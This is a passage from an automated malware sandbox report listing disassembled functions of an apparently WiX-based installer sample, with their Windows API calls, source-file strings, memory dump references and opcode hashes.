GetLastError.KERNEL32(?,009C0A19,?,?,?), ref: 009C143E

Strings

Failed to move to virtual file pointer., xrefs: 009C146C
cabextract.cpp, xrefs: 009C1462

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID: Failed to move to virtual file pointer.$cabextract.cpp
API String ID: 2976181284-3005670968
Opcode ID: 4181632ecb0bfba415a75b2920b63edba10bf5eda1cdfeea8eaa87b50c519f3c
Instruction ID: 2fa10ff9c4522b89e065b39f637f75ce200727ae4a97a29152633f7b142220fc
Opcode Fuzzy Hash: 4181632ecb0bfba415a75b2920b63edba10bf5eda1cdfeea8eaa87b50c519f3c
Instruction Fuzzy Hash: B901F73790063AB7C7254A968C04F8BBF19FF417B0711812AFE289A262D7359C10C7D5

Function 009E3EDD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00000000,?,00000000), ref: 009E3F73
GetLastError.KERNEL32 ref: 009E3FD6

Strings

fileutil.cpp, xrefs: 009E3FFA

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLastRead
String ID: fileutil.cpp
API String ID: 1948546556-2967768451
Opcode ID: b15de11e9e576bbbc2b305184a16615c129fe874e0ff2cc7e11cd78035b09ef6
Instruction ID: 71c4c070fe8cb48ed49d4c50720629d3612bf6f25b419ef16ee93373fe2a0ba0
Opcode Fuzzy Hash: b15de11e9e576bbbc2b305184a16615c129fe874e0ff2cc7e11cd78035b09ef6
Instruction Fuzzy Hash: 29319371E002A99FEB22CF56C844BDA77B8FB44751F0084AAFA49E7240D774DEC08B94

Function 009E4E3A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000000,?,00000000,00000000,00000000,?,?,?,009E3F9A,?,?,?), ref: 009E4E5E
GetLastError.KERNEL32(?,?,009E3F9A,?,?,?), ref: 009E4E68

Strings

fileutil.cpp, xrefs: 009E4E91

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: fileutil.cpp
API String ID: 442123175-2967768451
Opcode ID: 20cba23be9e935e08f8bdf092385ddead7f37e1cc7fae1fe65f0196da25e48cf
Instruction ID: 61aa20d6d367ab3fe9aadcfe8e0fbfc6bc417e29fda3730f6b1e100f1377f34b
Opcode Fuzzy Hash: 20cba23be9e935e08f8bdf092385ddead7f37e1cc7fae1fe65f0196da25e48cf
Instruction Fuzzy Hash: 17F06D33A00269BBC7218E9ADC85ADFBB6DFB44761F010129FD04D7140D730AE1096E0

Function 009E490D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00000000,?,?,?,009B8770,00000000,00000000,00000000,00000000,00000000), ref: 009E4925
GetLastError.KERNEL32(?,?,?,009B8770,00000000,00000000,00000000,00000000,00000000), ref: 009E492F

Strings

fileutil.cpp, xrefs: 009E4953

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID: fileutil.cpp
API String ID: 2976181284-2967768451
Opcode ID: 91a4b8f4531e977f233641a7d77c73dfbff20362bb6d9b8a17ad185baa65e15d
Instruction ID: 8f15645f5d5e0a86b8d39d4a10e98de29b53f5de7f620b1f3c2cafeea87548d6
Opcode Fuzzy Hash: 91a4b8f4531e977f233641a7d77c73dfbff20362bb6d9b8a17ad185baa65e15d
Instruction Fuzzy Hash: B8F0A97660416DABDB218F86DC499AB7FA8EF04B60F014154BD54AB351E731DC10D7E0

Function 009A3838 Relevance: 4.6, APIs: 3, Instructions: 80libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 009A3877
GetLastError.KERNEL32 ref: 009A3881
LoadLibraryW.KERNELBASE(?,?,00000104,?), ref: 009A38EA

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: DirectoryErrorLastLibraryLoadSystem
String ID:
API String ID: 1230559179-0
Opcode ID: 75854970dc61070646d875eb22833819472d2fc2a4ac318edb3a0a76715db202
Instruction ID: 499cf0d1df3985fe1416b8fc197ee794362704098be6874fa7c2318cecb784a1
Opcode Fuzzy Hash: 75854970dc61070646d875eb22833819472d2fc2a4ac318edb3a0a76715db202
Instruction Fuzzy Hash: 6721F5B2D0133DA7DB209B659C49F9B77AC9B82720F1141A5BE14EB241DA74DE4087D0

Function 009A3A16 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,009A3BB6,00000000,?,009A1474,00000000,80004005,00000000,80004005,00000000,000001C7,?,009A13B8), ref: 009A3A20
RtlFreeHeap.NTDLL(00000000,?,009A3BB6,00000000,?,009A1474,00000000,80004005,00000000,80004005,00000000,000001C7,?,009A13B8,000001C7,00000100), ref: 009A3A27
GetLastError.KERNEL32(?,009A3BB6,00000000,?,009A1474,00000000,80004005,00000000,80004005,00000000,000001C7,?,009A13B8,000001C7,00000100,?), ref: 009A3A31

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Heap$ErrorFreeLastProcess
String ID:
API String ID: 406640338-0
Opcode ID: 8829a7d3d39cf2bea099ecf480a578d64e27882fc500b49887d8c5ef51796a01
Instruction ID: 7df61faa936e0390719f355c06653aa1ad2199269ee560d9bf16636d49ae3f1e
Opcode Fuzzy Hash: 8829a7d3d39cf2bea099ecf480a578d64e27882fc500b49887d8c5ef51796a01
Instruction Fuzzy Hash: 44D0C233A0813957832117E66C8C95B7E5CEF01AB27014020FE48DA220D721CC00A2E0

Function 009E0F6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00A0AAA0,00000000,?,009E57E1,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 009E0F80

Strings

regutil.cpp, xrefs: 009E0FC3

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Open
String ID: regutil.cpp
API String ID: 71445658-955085611
Opcode ID: 17468f1ffd5dc5bf83303e078ef874b53aa1b5ed65b48a474fafa6f16dee0100
Instruction ID: fa841797351b429cc88aa188aba9ad1294f3b2fd1df870211a78e47557f4020b
Opcode Fuzzy Hash: 17468f1ffd5dc5bf83303e078ef874b53aa1b5ed65b48a474fafa6f16dee0100
Instruction Fuzzy Hash: E3F046336011B676CB3205978C01BABAE59EBC07B0F154E21BD86AA240E6A58C6096F0

Function 009D51E0 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,009D90F4,?,00000000,?,00000000,?,009D911B,?,00000007,?,?,009D957D,?), ref: 009D51F6
GetLastError.KERNEL32(?,?,009D90F4,?,00000000,?,00000000,?,009D911B,?,00000007,?,?,009D957D,?,?), ref: 009D5208

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: d80846ebd0fbc7305a502d7c5ab4cf296c5908acf7b665cbcfc66029e37e000b
Instruction ID: bb88e33d559b055c8c4bbc2d5da8bdefee72358c646225418d4d70fb3803c056
Opcode Fuzzy Hash: d80846ebd0fbc7305a502d7c5ab4cf296c5908acf7b665cbcfc66029e37e000b
Instruction Fuzzy Hash: C3E086315946446BCB112FA4AC49B4B3B989B40352F108115F618D5261D730998197A4

Function 009E35C3 Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 009E35F8

Part of subcall function 009E304F: GetModuleHandleA.KERNEL32(kernel32.dll,00000000,00000000,009E3609,00000000,?,00000000), ref: 009E3069
Part of subcall function 009E304F: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,009CC025,?,009A5405,?,00000000,?), ref: 009E3075

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorHandleInitLastModuleVariant
String ID:
API String ID: 52713655-0
Opcode ID: 4e730d10436207811b2e8e75c9d603bd3bb72574e1b621311ce37b2a14ea3019
Instruction ID: 226fd439e5844d1fb74392fad0c6458ce71488c11f8d9d57746c6b851a7d6a5e
Opcode Fuzzy Hash: 4e730d10436207811b2e8e75c9d603bd3bb72574e1b621311ce37b2a14ea3019
Instruction Fuzzy Hash: 7A315076E00269AFCB11DFA9C885ADEF7F8EF08710F01856AED15BB311D6319D008BA0

Function 009E5870 Relevance: 1.6, APIs: 1, Instructions: 60registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(80070490,00000000,80070490,00A0AAA0,00000000,80070490,?,?,009B8B19,WiX\Burn,PackageCache,00000000,00A0AAA0,00000000,00000000,80070490), ref: 009E58CA

Part of subcall function 009E10B5: RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000002,00000001,00000000,00000000,00000000,00000000,00000000), ref: 009E112B
Part of subcall function 009E10B5: RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,?), ref: 009E1163

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: QueryValue$Close
String ID:
API String ID: 1979452859-0
Opcode ID: 248d18e150dc5ea91cd9675818ae5a68972c708a58b5e8ca0936cbe5beef9611
Instruction ID: 79942e9cfacfb91818721189afeaa8f503c897a9100b94cd070e948e2b3781b5
Opcode Fuzzy Hash: 248d18e150dc5ea91cd9675818ae5a68972c708a58b5e8ca0936cbe5beef9611
Instruction Fuzzy Hash: A31186368006AEEFCB236E96C941AAEB76DEF44328B164179ED4167111C7314E50D7D1

Function 009D521A Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,009D1F87,?,0000015D,?,?,?,?,009D33E0,000000FF,00000000,?,?), ref: 009D524C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1b65f3e1f6957169a31e46167b590e80a1f2f4d63d35f71eba6cbb171b6ed0aa
Instruction ID: 787b5f10c5bfe916a9320e6a5442a377fb509967fbb946ce6f24f6f9ea1fc20c
Opcode Fuzzy Hash: 1b65f3e1f6957169a31e46167b590e80a1f2f4d63d35f71eba6cbb171b6ed0aa
Instruction Fuzzy Hash: 1CE0E5315C59655BD62126655C05B5B374C9FB13A1F26C113AE31A7390CBA4DD0983A1

Function 009A34B5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000000,00000104,00000000,?,009B8BD3,0000001C,80070490,00000000,00000000,80070490), ref: 009A34D5

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: e187bd9b849b7a14bc3bbb0ec7d007483d7747327ef1c4b243442f0a651e837a
Instruction ID: 3f50838b35af7ab8cb73ecbf7574c6d586b469d23b8658f2f672ef7726848a85
Opcode Fuzzy Hash: e187bd9b849b7a14bc3bbb0ec7d007483d7747327ef1c4b243442f0a651e837a
Instruction Fuzzy Hash: 6AE012723011287BE6022F655C05DEB7B9DDF4A354B108051BE40D6010D762D95096F0

Function 009D75EF Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

Part of subcall function 009DBDAA: DeleteCriticalSection.KERNEL32(?,00A08130,00000010,00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 009DBE0C

DeleteCriticalSection.KERNEL32(-00000020), ref: 009D7618

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalDeleteSection
String ID:
API String ID: 166494926-0
Opcode ID: 0a321812f7c4b63e9bc89164a91d87d9f0e1cab5523073b1e3e5919b219fd4cc
Instruction ID: e68bee041ffe7efc6f537b0743299b6914bf567deac7d101592184ed1742ef85
Opcode Fuzzy Hash: 0a321812f7c4b63e9bc89164a91d87d9f0e1cab5523073b1e3e5919b219fd4cc
Instruction Fuzzy Hash: E6E0DF328291148BC621BB98FE45B4973A8DF88320B024906F404933A1DB30AC428B65

Function 009E2EFE Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(00000000,00000000,009A556E,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009E2F0B

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 8bd5ea1536393968d6b779a59a892a17f751ecc488e36817ea91d3d830a74947
Instruction ID: 11f7e1e6695626867d9d5f03bd729b7631a9f1c494ab742ca7ec217635abe58a
Opcode Fuzzy Hash: 8bd5ea1536393968d6b779a59a892a17f751ecc488e36817ea91d3d830a74947
Instruction Fuzzy Hash: A5E0E3B193A26CDFCA00CFA9BE848427AACB609B50B04420BA800C2220C7B648439FB0

Function 009DF49A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 009DF491

Part of subcall function 009E998C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 009E9A09
Part of subcall function 009E998C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 009E9A1A

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b0987c932aa7b337191fb84871b4759c4f746ac4c0803aaa8b0b0268f3a89347
Instruction ID: 702e9ee03161c389a48f16834d9ee50daebf1a68a040df32a03b347724c31df8
Opcode Fuzzy Hash: b0987c932aa7b337191fb84871b4759c4f746ac4c0803aaa8b0b0268f3a89347
Instruction Fuzzy Hash: 90B012A13A95057DB24461153D17E37010CC2D9FA1330896FB041C11D1E8480C010136

Function 009DF4AA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 009DF491

Part of subcall function 009E998C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 009E9A09
Part of subcall function 009E998C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 009E9A1A

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b6fd2f105418684084efde705de66023a83017a0828115a9c54f7de53e955641
Instruction ID: 83f06d282d2afd3c1730cd191202ffcff041c1ed0cf27ccb533b0fcf36c292a4
Opcode Fuzzy Hash: b6fd2f105418684084efde705de66023a83017a0828115a9c54f7de53e955641
Instruction Fuzzy Hash: 90B012A13A96057CB24461153C17D37010CC2D9FA1330CA6FF041C11D1E8540C400136

Function 009DF479 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 009DF491

Part of subcall function 009E998C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 009E9A09
Part of subcall function 009E998C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 009E9A1A

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 943cdfdc4894bc946bd3158986d0cd62b911e34373152e5112cfb3537ca47197
Instruction ID: 35708c124ab177bccc588d0e41a00a3560d64f52440795b85a34bf68b8740e5a
Opcode Fuzzy Hash: 943cdfdc4894bc946bd3158986d0cd62b911e34373152e5112cfb3537ca47197
Instruction Fuzzy Hash: 79B012A53AA5057CB20421113C17C37010CC2D5FA1330CA6FB441C00D1E8440C000076

Function 009E9684 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 009E966B

Part of subcall function 009E998C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 009E9A09
Part of subcall function 009E998C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 009E9A1A

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 172d78e659b88577739b400e2a025be1a80e3946ece9f5d096ee3b16fb54adda
Instruction ID: 7b128d80c1289ed5beebfdef95f907fabae10927a71d9f5d3e66d08db2da5f8f
Opcode Fuzzy Hash: 172d78e659b88577739b400e2a025be1a80e3946ece9f5d096ee3b16fb54adda
Instruction Fuzzy Hash: 84B012913683457CBA4562463E43D37010CC7C4F11330491FB414D10D2E8480C010236

Function 009E9653 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 009E966B

Part of subcall function 009E998C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 009E9A09
Part of subcall function 009E998C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 009E9A1A

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f35ce585ac37325490afb31b09457aa9ff84c318cee7750ee3e651c233a394f3
Instruction ID: adca2911b25d0c63f6d250c40a304f290848a13180195c9d3a471c724effa625
Opcode Fuzzy Hash: f35ce585ac37325490afb31b09457aa9ff84c318cee7750ee3e651c233a394f3
Instruction Fuzzy Hash: 28B012913683497CBA0522027C82C37010CD7C0F11330891FB410E00D2E8440C00033B

Function 009E9674 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

